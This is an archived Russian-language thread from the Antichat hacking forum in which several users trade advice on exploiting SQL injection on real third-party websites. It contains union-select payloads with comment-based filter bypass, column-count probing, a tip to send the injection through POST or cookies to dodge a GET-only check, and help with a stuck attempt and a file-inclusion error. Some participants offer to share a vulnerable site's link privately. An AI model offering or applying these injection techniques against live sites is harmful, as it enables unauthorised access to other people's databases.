ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

04.08.2010, 01:12
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
Сообщение от попугай
попугай said:
заюзай /**/
Спасибо за идею, я правильно понял?
Код:
Code:
http://domain/'/**/union/**/select/**/1,2,3#comment
выводит
Код:
Code:
Database error: Invalid SQL: select * from elementpath where path='/'/**/union/**/select/**/1,2,3'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
Session halted.
|
|
|

04.08.2010, 02:53
|
|
Участник форума
Регистрация: 22.04.2007
Сообщений: 135
Провел на форуме: 637994
Репутация:
203
|
|
Помогите с анализом кода. в нём есть скуля? если есть как её заюзать?
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"][/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"])
{
echo[/COLOR][COLOR="#DD0000"]"error sql"[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:client.php"[/COLOR][COLOR="#007700"]);
}
if ([/COLOR][COLOR="#0000BB"]mysql_num_rows[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]) ==[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:client.php?e=1"[/COLOR][COLOR="#007700"]);
else
{
while([/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]mysql_fetch_row[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]))
{
print[/COLOR][COLOR="#DD0000"]"Здраствуйте уважаемый(ая), "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"];
while (([/COLOR][COLOR="#0000BB"]mysql_num_fields[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$q[/COLOR][COLOR="#007700"]) -[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]) !=[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"])
{
echo[/COLOR][COLOR="#DD0000"]"[/COLOR][COLOR="#0000BB"]$r[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]][/COLOR][COLOR="#DD0000"] "[/COLOR][COLOR="#007700"];
[/COLOR][COLOR="#0000BB"]$i[/COLOR][COLOR="#007700"]+=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"];
}
}
}
[/COLOR][COLOR="#0000BB"]mysql_close[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$link[/COLOR][COLOR="#007700"]);
}
else
{
[/COLOR][COLOR="#0000BB"]Header[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"Location:error.php"[/COLOR][COLOR="#007700"]);
}
[/COLOR][COLOR="#0000BB"]?>
[/COLOR][/COLOR]
|
|
|

04.08.2010, 07:06
|
|
Участник форума
Регистрация: 25.11.2009
Сообщений: 201
Провел на форуме: 866555
Репутация:
226
|
|
больше нет чем да, я просто хз есть ли баги в самой функции preg_match, но их вроде нет
|
|
|

04.08.2010, 10:16
|
|
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме: 818095
Репутация:
34
|
|
Сообщение от roddik
roddik said:
Спасибо за идею, я правильно понял?
Код:
Code:
http://domain/'/**/union/**/select/**/1,2,3#comment
выводит
Код:
Code:
Database error: Invalid SQL: select * from elementpath where path='/'/**/union/**/select/**/1,2,3'
MySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1)
Session halted.
#comment - это ты так коментишь прям в браузере?
Если да, то попробуй так /*
Ещё стоит мне кажется что нибудь перед UNION написать типа
domain/test'/**/union ....
|
|
|

04.08.2010, 14:39
|
|
Постоянный
Регистрация: 31.07.2002
Сообщений: 312
Провел на форуме: 1212427
Репутация:
187
|
|
roddik, попробуй http://domain/'/**/union/**/select/**/1,2,3/*
т.е. в конце комментарий повешай
XENON4IK, т.к. в строчке $sq="select name from user where id ='$id'"; запрашивается просто $id то в строке адреса укажи нормальный id(например 321), а в POST запросе посылай инъекцию, или в COOKIE т.к. и пост и куки перебивают массив GET, а проверка идет только на ГЕТ.
Seravin, где ты вообще preg_replace увидел?
|
|
|

04.08.2010, 21:12
|
|
Новичок
Регистрация: 01.07.2009
Сообщений: 9
Провел на форуме: 96770
Репутация:
1
|
|
есть скуля вида
Сообщение от None
SELECT * FROM table WHERE id='123[inj]'
последняя кавычка учитывается в запросе в любом случае и вариант
[inj] = ' union select 1,2,3--
не прокатывает. не только --, но и /* /**/ ; никакие комментарии не работают. в итоге если
[inj] = 'order by 1--
выводит
Сообщение от None
SELECT * FROM table WHERE id='123' order by 1--'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
я подобрал количество столбцов запросом, где
[inj] = '+union+select+1,2,3,'
получилось
Сообщение от None
SELECT * FROM table WHERE id='123' union select 1,2,3,''
но в скрипте идет следующий запрос, который выдает ошибку
Сообщение от None
UPDATE table SET views=views+1 WHERE id='123' union select 1,2,3,''
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,''' at line 1
можно ли обойти UPDATE и как это сделать?
|
|
|

04.08.2010, 22:02
|
|
Участник форума
Регистрация: 17.04.2010
Сообщений: 221
Провел на форуме: 344917
Репутация:
17
|
|
Линк на скулю дай.
|
|
|

04.08.2010, 22:33
|
|
Познающий
Регистрация: 14.01.2009
Сообщений: 93
Провел на форуме: 244235
Репутация:
39
|
|
Сообщение от Dr.Frank
Dr.Frank said:
roddik, попробуй http://domain/'/**/union/**/select/**/1,2,3/*
т.е. в конце комментарий повешай
Попробовал в дбмс это все вбить, оказалось, что подобные комментарии заменяются на пустую строку - получается вида unionselect1,2, то есть одним словом, так что такие манипуляции с комментариями не сработают. Могу дать линк в ПМ, единственное, чего я хочу - это чтобы мне потом кто-то объяснил, как это можно было раскрутить
|
|
|

04.08.2010, 22:37
|
|
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме: 818095
Репутация:
34
|
|
Сообщение от roddik
roddik said:
Попробовал в дбмс это все вбить, оказалось, что подобные комментарии заменяются на пустую строку - получается вида unionselect1,2, то есть одним словом, так что такие манипуляции с комментариями не сработают. Могу дать линк в ПМ, единственное, чего я хочу - это чтобы мне потом кто-то объяснил, как это можно было раскрутить
Это не коментарии, а один из способов разделения запроса. Скорее всего там стоит прег реплейс который заменяет ненужные символы.
|
|
|

04.08.2010, 22:53
|
|
Guest
Сообщений: n/a
Провел на форуме: 22706
Репутация:
0
|
|
Fatal error: require() [function.require]: Failed opening required 'info//var/www/web6/web/index.php' (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/web6/web/index.php on line 45
что далше????????????
|
|
|
|
|
 |
|
|
Здесь присутствуют: 3 (пользователей: 0 , гостей: 3)
|
|
|
|